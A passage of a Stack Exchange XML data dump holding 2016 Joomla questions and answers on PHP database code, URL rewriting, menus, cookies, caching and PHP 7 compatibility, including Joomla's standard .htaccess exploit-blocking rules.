cannot identify a particular syntax error? Can you spot anything? Here is my full code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;&#xA;    //display errors&#xA;    error_reporting(E_ALL);&#xA;    ini_set(&quot;display_errors&quot;, 1);&#xA;&#xA;    //init Joomla Framework &#xA;    define('_JEXEC', 1); &#xA;    define('JPATH_BASE', dirname(__FILE__).'/');&#xA;    define('DS', DIRECTORY_SEPARATOR); &#xA;&#xA;    require_once (JPATH_BASE .DS. 'includes' .DS. 'defines.php'); &#xA;    require_once (JPATH_BASE .DS. 'includes' .DS. 'framework.php');&#xA;&#xA;&#xA;    //Tell the code where the product images are&#xA;    //Use joomla API &amp;lt;-----------------------------------------------------------Needs looking at&#xA;    $uploads = '/home/#######/public_html/images/stories/virtuemart/product/';&#xA;&#xA;    //Create an array of all image sthat are Jpgs and start with 'n'&#xA;    if ($dir = opendir($uploads))&#xA;    {&#xA;      $images = array();&#xA;&#xA;      foreach (glob($uploads.&quot;*.{jpg,jpeg,JPG,JPEG}&quot;, GLOB_BRACE) as $filename)&#xA;      {&#xA;        $f = str_replace($uploads, null, $filename);&#xA;        if (strtolower($f[0]) == 'n')&#xA;        {&#xA;          $images[] = $f;&#xA;        }&#xA;      }&#xA;    } &#xA;&#xA;    //$images = array('image1.jpg', 'image2.jpg');&#xA;&#xA;    //Start comparison&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName('file_url'))&#xA;          -&amp;gt;from($db-&amp;gt;quoteName('#__virtuemart_medias'));&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    $rows = $db-&amp;gt;loadColumn();&#xA;&#xA;    $differences = array_diff($rows, $images);&#xA;&#xA;    foreach ($differences as $key =&amp;gt; $val)&#xA;    {&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;clear(); &#xA;$filetitle = substr($f, 0, strrpos($f, '.'));   &#xA;    $filepath = &quot;images/stories/virtuemart/product/&quot;.$f.;    &#xA;&#xA;        $columns = array('virtuemart_vendor_id', 'file_title', 'file_description', 'file_mimetype', 'file_type', 'file_url','published');&#xA;        $values = array($db-&amp;gt;quote('1'), $db-&amp;gt;quote($filename), $db-&amp;gt;quote($filetitle), $db-&amp;gt;quote('images/jpeg'), $db-&amp;gt;quote('Product'), $db-&amp;gt;quote($filepath), db-&amp;gt;quote('1'));&#xA;&#xA;       $query-&amp;gt;insert($db-&amp;gt;quoteName('#__virtuemart_medias'))&#xA;              -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;              -&amp;gt;values(implode(',', $values));&#xA;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        echo $db-&amp;gt;replacePrefix((string) $query);&#xA;        //$db-&amp;gt;execute();&#xA;    }&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2016-03-14T15:59:50.967" LastActivityDate="2019-06-15T12:51:17.757" Title="Check if items from an array exists in table and if not insert them into new records?" Tags="|php|joomla-3.4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15678" PostTypeId="1" CreationDate="2016-03-14T12:47:43.863" Score="0" ViewCount="69" Body="&lt;p&gt;In joomla, when choosing my one menu, it displays:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://localhost/site/index.php/en/features/prices&quot; rel=&quot;nofollow&quot;&gt;http://localhost/site/index.php/en/features/prices&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in all other menus it displays like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://localhost/site/index.php/en/about-us&quot; rel=&quot;nofollow&quot;&gt;http://localhost/site/index.php/en/about-us&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to remove the word &quot;features&quot; from the url. &lt;br&gt;&#xA;How can I do it? Why does it display the url like that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, prices menu is a child menu of external url menu. &lt;br&gt;&#xA;Like this: Company---&gt;Prices&lt;/p&gt;&#xA;" OwnerUserId="7343" LastEditorUserId="115" LastEditDate="2016-03-14T13:14:57.147" LastActivityDate="2016-03-14T14:21:55.190" Title="How can I remove the word 'features' from the url?" Tags="|joomla-3.x|menu|url|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15679" PostTypeId="2" ParentId="15678" CreationDate="2016-03-14T14:21:55.190" Score="1" Body="&lt;p&gt;Joomla router creates folders from menu and content organization to reach the target component and element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can modify the Urls re-organizing your menus. For instance, creating a top-level menu item to an internal category.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-03-14T14:21:55.190" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15680" PostTypeId="2" ParentId="15673" CreationDate="2016-03-14T14:46:37.407" Score="4" Body="&lt;p&gt;There is a nice free plugin &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/languages/multi-lingual-content/language-domains&quot; rel=&quot;nofollow&quot;&gt;Language Domains&lt;/a&gt; from &lt;a href=&quot;https://www.yireo.com/software/joomla-extensions/language-domains&quot; rel=&quot;nofollow&quot;&gt;Yireo&lt;/a&gt;, which  allows you to switch the domain-name as soon as a specific language is selected.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each domain is bound to a language, by configuring the plugin parameters. Once enabled, the plugin detects the current domain name, checks the current language, and redirects to a new domain if needed.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can configure the domain-bindings within the plugin parameters, such as:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;en-GB=example.co.uk&lt;br&gt;&#xA;  fr-FR=example.fr&lt;br&gt;&#xA;  de-DE=example.de&lt;br&gt;&#xA;  nl-NL=example.nl&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-09-15T10:02:38.820" LastActivityDate="2016-09-15T10:02:38.820" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15681" PostTypeId="2" ParentId="15677" CreationDate="2016-03-14T14:58:41.637" Score="1" Body="&lt;p&gt;I'll try to explain this as easily as possible:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images = array('image1.jpg', 'image2.jpg');&#xA;&#xA;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('COLUMN_NAME'))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__tablename'));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$rows = $db-&amp;gt;loadColumn();&#xA;&#xA;$differences = array_diff($rows, $images);&#xA;&#xA;foreach ($differences as $key =&amp;gt; $val)&#xA;{&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;clear();&#xA;&#xA;    $columns = array('COLUMN_NAME');&#xA;    $values = array($db-&amp;gt;quote($val));&#xA;&#xA;    $query-&amp;gt;insert($db-&amp;gt;quoteName('#__tablename'))&#xA;          -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;          -&amp;gt;values(implode(',', $values));&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So for testing purposes, let's say &lt;code&gt;$images&lt;/code&gt; is your array of image names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're firstly going to have to run a &lt;code&gt;select&lt;/code&gt; query on your table that contains the images. So change &lt;code&gt;COLUMN_NAME&lt;/code&gt; in the code above to whatever your column name is.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$rows = $db-&amp;gt;loadColumn();&lt;/code&gt; is now your array of all the results from your column.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$differences = array_diff($rows, $images);&lt;/code&gt; Then compares the array from your database to the array of images defined in the very first line of code. The results are an array of values that &lt;strong&gt;do not&lt;/strong&gt; match.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can then run a &lt;code&gt;insert&lt;/code&gt; query in a &lt;code&gt;foreach&lt;/code&gt; loop, that loops through the &lt;code&gt;$differences&lt;/code&gt; array.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-14T14:58:41.637" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15682" PostTypeId="1" CreationDate="2016-03-14T15:16:08.927" Score="1" ViewCount="207" Body="&lt;p&gt;This site &lt;a href=&quot;http://couponviaggio.it&quot; rel=&quot;nofollow&quot;&gt;couponviaggio.it&lt;/a&gt; it's a travel company e-commerce site, configured with Virtuemart.&#xA;As i think you know, Virtuemart has huge problems of duplicate contents (product that stay in 1+ categories), so i've installed sh404sef to remove categories from URLs like:&#xA;site.it/product&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this, now the problem is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I take this offer:&#xA;&lt;a href=&quot;http://couponviaggio.it/village-il-girasole-corigliano-calabro-detail.html&quot; rel=&quot;nofollow&quot;&gt;couponviaggio.it/village-il-girasole-corigliano-calabro-detail.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;I search it in google, by the title for example: &quot;Offerta Coupon&lt;br&gt;&#xA;vacanza mare Il Girasole Village,Corigliano Calabro sullo Jonio&quot; The &#xA;first link is correct, when i open this, it goes to another page:&lt;br&gt;&#xA;[couponviaggio.it/hotel-mistral-oristano-detail.html][3]...It do a&lt;br&gt;&#xA;redirect to an insensate page!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But, if i copy the link in the url bar, it goes to the correct page..strange..&#xA;This thing happens for several offers, it's for 4 week that the problem persist, and i'm going crazy.&#xA;Can you help me? :)&#xA;Thank you guys,&#xA;regards from italy&lt;/p&gt;&#xA;" OwnerUserId="7694" LastActivityDate="2016-03-19T09:34:30.163" Title="Strange Redirects from google after sh404sef plugin + virtuemart" Tags="|virtuemart|redirect|sh404sef|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15685" PostTypeId="2" ParentId="15663" CreationDate="2016-03-14T21:37:40.793" Score="0" Body="&lt;p&gt;From the code, it looks like the options are being passed to getInstance() in JModelLegacy, and then on to the constructor of the same class. The docs say here the constructor options can be the following: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;@param   array  $config  An array of configuration options (name, state, dbo, table_path, ignore_request).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but there seems to also be a event_clean_cache - option, to set event handling for onContentCleanCache. &lt;/p&gt;&#xA;" OwnerUserId="360" LastActivityDate="2016-03-14T21:37:40.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15686" PostTypeId="1" AcceptedAnswerId="15687" CreationDate="2016-03-14T21:39:12.053" Score="1" ViewCount="416" Body="&lt;p&gt;I can't believe this isn't possible by default in Joomla core?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Category called Projects and a sub category called Previous Projects. What I want to do is display thumbnails/links for each on a category blog page like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PROJECTS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMAGE IMAGE IMAGE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMAGE IMAGE IMAGE&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;PREVIOUS PROJECTS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMAGE IMAGE IMAGE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ETC...&lt;/p&gt;&#xA;" OwnerUserId="7998" LastActivityDate="2016-03-15T04:09:09.783" Title="Joomla show sub category title on category blog page" Tags="|joomla-3.3.x|subcategories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15687" PostTypeId="2" ParentId="15686" CreationDate="2016-03-15T04:09:09.783" Score="0" Body="&lt;p&gt;This is possible by creating a module, and assign it on the menu item you want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you have menu item called Projects which type is category blog from Project category. Then just create a module from the extensions tab with certain type you prefer, there are Article Category, Article categories, Article Newsflash, etc, choose source from Previous Project Category then assign it on Project menu item,and place the module on any position you like.&lt;/p&gt;&#xA;" OwnerUserId="7216" LastActivityDate="2016-03-15T04:09:09.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15688" PostTypeId="1" AcceptedAnswerId="15691" CreationDate="2016-03-15T12:48:19.300" Score="2" ViewCount="42" Body="&lt;p&gt;I've developed a Shoutbox extension and would like to implement a feature, by which you can tag a user in a shout (same concept as tagging a user on JSE) using the &lt;code&gt;@&lt;/code&gt; symbol and then the user's name.&lt;/p&gt;&#xA;&lt;p&gt;However I'm not sure which approach to go with.&lt;/p&gt;&#xA;&lt;h3&gt;Option 1:&lt;/h3&gt;&#xA;&lt;p&gt;Get all usernames from the &lt;code&gt;#__users&lt;/code&gt; table on page load and return maybe a json object. Then populate a container with names from the json object that match your query.&lt;/p&gt;&#xA;&lt;h3&gt;Option 2:&lt;/h3&gt;&#xA;&lt;p&gt;You start typing a name (@Lod) which then initiates an Ajax request to query the &lt;code&gt;#__users table&lt;/code&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Option 1 could be a bit heavy if the &lt;code&gt;#__users&lt;/code&gt; table is extremely big, however the matching would be much quicker and vise versa for Option 2.&lt;/p&gt;&#xA;&lt;p&gt;Which approach (other suggestions welcome) would be the best to go with?&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-05-28T11:38:21.293" Title="Searching for users and tagging their name in a post" Tags="|joomla-3.x|user|ajax|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15689" PostTypeId="2" ParentId="15682" CreationDate="2016-03-15T14:24:16.963" Score="1" Body="&lt;p&gt;When I answered you previous Q '&lt;a href=&quot;https://joomla.stackexchange.com/questions/15449/virtuemart-duplicate-url-for-products-assigned-to-1-categories/15457#15457&quot;&gt;Virtuemart duplicate URL for products assigned to 1+ categories&lt;/a&gt;'&lt;br&gt;&#xA;I didn't realize that your main concern and the reason for asking how could you eliminate any category from product URL, was &quot;Duplicate VM Content issue&quot; from the SEO point of view.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that is NOT AN ISSUE AT ALL!    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even Google in it's official documentation &lt;a href=&quot;https://support.google.com/webmasters/answer/66359?hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Duplicate Content&lt;/a&gt; at the very begining clearly says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Examples of &lt;strong&gt;non-malicious duplicate content&lt;/strong&gt; could include:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Discussion forums that can generate both regular and stripped-down&lt;br&gt;&#xA;  pages targeted at mobile devices&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Store items shown or linked via multiple distinct URLs&lt;/strong&gt; &lt;/li&gt;&#xA;  &lt;li&gt;Printer-only versions of web pages    &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Even on VM Forum there are topics regarding that 'issue', like &lt;a href=&quot;http://forum.virtuemart.net/index.php?topic=123646.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Duplicate content because of Virtuemart Product Category SEF alias?&lt;/a&gt; and others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly, having product in multiple categories and hence reachable by multiple URLs &lt;strong&gt;would not constitute malicious duplicate content&lt;/strong&gt; as Google defines it in aforementioned article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, milions of web stores would never have multiple categorizations, which they regularly use every day. &lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-03-19T09:34:30.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15690" PostTypeId="2" ParentId="7507" CreationDate="2016-03-15T15:33:13.197" Score="1" Body="&lt;p&gt;I experienced the same issue and was able to resolve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use WAMP and when I updated my core Joomla from 3.4.6 - 3.4.7, I was faced with the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did was simple. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Turn on Error reporting under your system-server setting to Maximum&lt;/li&gt;&#xA;&lt;li&gt;In my case, I got an error message which says &lt;code&gt;Access level to JInstallerAdapterLibrary::prepareDiscoverInstall() must be public (as in class JInstallerAdapter) in C:\wamp\www\mysite\libraries\cms\installer\adapter\library.php on line 485.&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;I accessed the specified line and changed the class name from Protected to public.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Protected function prepareDiscoverInstall()&#xA;{&#xA;    $manifestPath = JPATH_MANIFESTS . '/libraries/' . $this-&amp;gt;extension-&amp;gt;element . '.xml';&#xA;    $this-&amp;gt;parent-&amp;gt;manifest = $this-&amp;gt;parent-&amp;gt;isManifest($manifestPath);&#xA;    $this-&amp;gt;parent-&amp;gt;setPath('manifest', $manifestPath);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function prepareDiscoverInstall()&#xA;{&#xA;    $manifestPath = JPATH_MANIFESTS . '/libraries/' . $this-&amp;gt;extension-&amp;gt;element . '.xml';&#xA;    $this-&amp;gt;parent-&amp;gt;manifest = $this-&amp;gt;parent-&amp;gt;isManifest($manifestPath);&#xA;    $this-&amp;gt;parent-&amp;gt;setPath('manifest', $manifestPath);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps someone.&lt;/p&gt;&#xA;" OwnerUserId="8002" LastEditorUserId="168" LastEditDate="2016-03-15T15:37:37.260" LastActivityDate="2016-03-15T15:37:37.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15691" PostTypeId="2" ParentId="15688" CreationDate="2016-03-15T16:04:32.650" Score="3" Body="&lt;p&gt;2) for sure. An Ajax query is a small load. It does not block and return the whole users table. You can have better control. For example, returning only 3 attempts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand 3) is a method to access the users table and a possible attack vector. For example to guess usernames, count users in your site, etc.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-03-15T16:04:32.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15692" PostTypeId="2" ParentId="15533" CreationDate="2016-03-15T16:12:58.073" Score="3" Body="&lt;p&gt;@Lodder and others were right that the answer was to keep site up to date and be patient. The error was corrected in JCE 2.5.15.&lt;/p&gt;&#xA;" OwnerUserId="3745" LastActivityDate="2016-03-15T16:12:58.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15693" PostTypeId="1" AcceptedAnswerId="15704" CreationDate="2016-03-15T16:58:21.800" Score="2" ViewCount="171" Body="&lt;p&gt;I have been trying to fix a URL rewriting issue in Joomla 2.5 for a little while now. The global configuration settings for &quot;Search Engine Friendly URLs&quot; and &quot;Use URL rewriting&quot; are both set to &quot;Yes&quot;, and the .htaccess rewrite section is included below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Mod_rewrite in use.&#xA;RewriteEngine On&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site block out the operations listed below&#xA;# This attempts to block the most common type of exploit `attempts` to Joomla!&#xA;#&#xA;# Block out any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block out any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block out any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block out any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root homepage&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It only seems to be happening on the homepage, where 'index.php' is being appended to the end of the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it all seemed to work fine previously, and as far as I know nothing changed when it began appearing differently (i.e. with index.php). I've followed the suggestions of all similar support threads that I've found and nothing seems to have helped at all. Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8004" LastActivityDate="2016-03-16T09:58:34.520" Title="Joomla 2.5 URL rewrite issue" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15694" PostTypeId="1" CreationDate="2016-03-15T18:00:53.530" Score="1" ViewCount="109" Body="&lt;p&gt;I am using a templated Joomla3 system (Joomla version 3.4.8) and have one problem that's causing disfunctionality to the whole site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem persists in the backend as well as on the frontend. I will try to describe the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open one link, let's say any module, I change the name of the module, save and close it. Then if I reopen it, I don't see the new name in the module until I refresh my browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's try with another example. When I open one page on the website, go to another page (in the mean time the first page has been changed), then go back to the first page, I see the old content (not the changed one)...until I do a REFRESH in the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's something like when you open a page, go to another, then you want to go to last one and do a &quot;back&quot; in browser and do not use a regular link which should open that page refreshed.&lt;/p&gt;&#xA;" OwnerUserId="8005" LastEditorUserId="12352" LastEditDate="2019-05-24T11:00:33.490" LastActivityDate="2019-05-24T11:00:33.490" Title="Why am I not seeing current content in my frontend and backend?" Tags="|joomla-3.x|cache|browser|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="15695" PostTypeId="1" AcceptedAnswerId="15698" CreationDate="2016-03-15T18:44:00.557" Score="1" ViewCount="38" Body="&lt;p&gt;Hello I am using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $active = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;    echo $active-&amp;gt;title;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To show the current menu item title, but how can I make it linkable? So its a link and I can click it?&lt;/p&gt;&#xA;" OwnerUserId="6918" LastEditorUserId="3650" LastEditDate="2016-03-15T19:34:26.310" LastActivityDate="2016-03-15T21:33:35.663" Title="Make current menu item clickable in the category blog" Tags="|joomla-3.x|menu-item|category-blog|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15696" PostTypeId="2" ParentId="15594" CreationDate="2016-03-15T20:10:29.387" Score="1" Body="&lt;p&gt;We have offered this service in the past and I wanted to share how we did it in case someone else wanted to do it for you.  We setup rules in our MacMail that if an email was received from a certain client (or you can do something specific in subject like 911), it would forward the email to our IFTTT account.  We had a rule there that would send a text message to a member on our team which would wake up them up so they could work on it.  Usually that person was someone that was looking for extra hours/projects, etc.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-03-15T20:10:29.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15697" PostTypeId="1" CreationDate="2016-03-15T20:19:59.100" Score="2" ViewCount="294" Body="&lt;p&gt;Does anyone know why I cant get cookies from the remote server with the code below?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;    $inputCookie    =   JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie;&#xA;    $value          =   $inputCookie-&amp;gt;get($name = 'hotsiteX', $defaultValue = null);&#xA;    $mark = 0;&#xA;&#xA;    if ( is_null($value)  ): ?&amp;gt;&#xA;&#xA;        &quot;html code&quot;&#xA;        &amp;lt;?php $mark = 1;&#xA;              $inputCookie-&amp;gt;set($name = 'hotsiteX', $value = 'accessed', $expire = time() + (100));         &#xA;&#xA;    endif; ?&amp;gt;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$cookieValue is always empty, I checked and its already set on my browser, besides, it also works perfectly on localhost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried &lt;code&gt;!isset($_COOKIE)&lt;/code&gt; and &lt;code&gt;print($_COOKIE)&lt;/code&gt;, its always empty at the remote server.&lt;/p&gt;&#xA;" OwnerUserId="8006" LastEditorUserId="8006" LastEditDate="2016-03-17T14:07:20.183" LastActivityDate="2016-03-17T14:07:20.183" Title="Problem to get cookies at the remote server" Tags="|joomla-3.x|php|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15698" PostTypeId="2" ParentId="15695" CreationDate="2016-03-15T21:33:35.663" Score="1" Body="&lt;p&gt;To get the link, you can simply use &lt;code&gt;$active-&amp;gt;link&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So based on your code, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$active = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;$title  = $active-&amp;gt;title;&#xA;$url    = JRoute::_($active-&amp;gt;link);&#xA;&#xA;echo '&amp;lt;a href=&quot;' . $url . '&quot;&amp;gt;' . $title . '&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-15T21:33:35.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15699" PostTypeId="1" AcceptedAnswerId="15700" CreationDate="2016-03-15T23:17:26.690" Score="9" ViewCount="878" Body="&lt;p&gt;&lt;em&gt;(Please bear with me, I am sorry but I just can't ask this quickly.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are all hardly waiting for Stable Version of Joomla 3.5.0, aren't we?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;RC3&lt;/strike&gt; &lt;a href=&quot;http://www.joomla.org/announcements/release-news/5653-joomla-3-5-rc4-released.html&quot; rel=&quot;nofollow&quot;&gt;RC4 was released today&lt;/a&gt; and it is just a matter of days until she gets finaly released (&lt;strong&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5654-joomla-3-5-is-here.html&quot; rel=&quot;nofollow&quot;&gt;Joomla 3.5.0 Stable was just released on Monday, March 21st 2016&lt;/a&gt;&lt;/strong&gt;), after more than a year in making and numerous goals changes and ETA postponements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest feature, among all other &lt;a href=&quot;http://www.ostraining.com/blog/joomla/joomla-35-features/?utm_content=bufferc8044&amp;amp;utm_medium=social&amp;amp;utm_source=twitter.com&amp;amp;utm_campaign=buffer&quot; rel=&quot;nofollow&quot;&gt;noticeable improvements&lt;/a&gt;, definitely will be ability to run on newest PHP7, resulting in almost 50% faster execution and almost 4 times decrease in memory consumption (&lt;a href=&quot;http://community.1and1.com/joomla-3-4-php-7/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;source&lt;/em&gt;&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to inner changes in PHP7 (the introduction of type hints and the now-reserved words “int”, “string” and “float”) it will result in Backwards Compatibility Break for numerous extensions, even though Joomla 3.5.0 core itself will be fully compatible with PHP7.&lt;br&gt;&#xA;(&lt;em&gt;source: Backwards Compatibility break from &lt;a href=&quot;http://www.joomla.org/announcements/release-news/5653-joomla-3-5-rc4-released.html&quot; rel=&quot;nofollow&quot;&gt;RC4 Release News&lt;/a&gt;&lt;/em&gt;:) &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;We have a backwards compatibility promise to make sure code doesn’t suddenly break. However there are circumstances that can force us to no longer keep this promise. In Joomla 3.5 this is the case. Due to changes in PHP 7, we had to 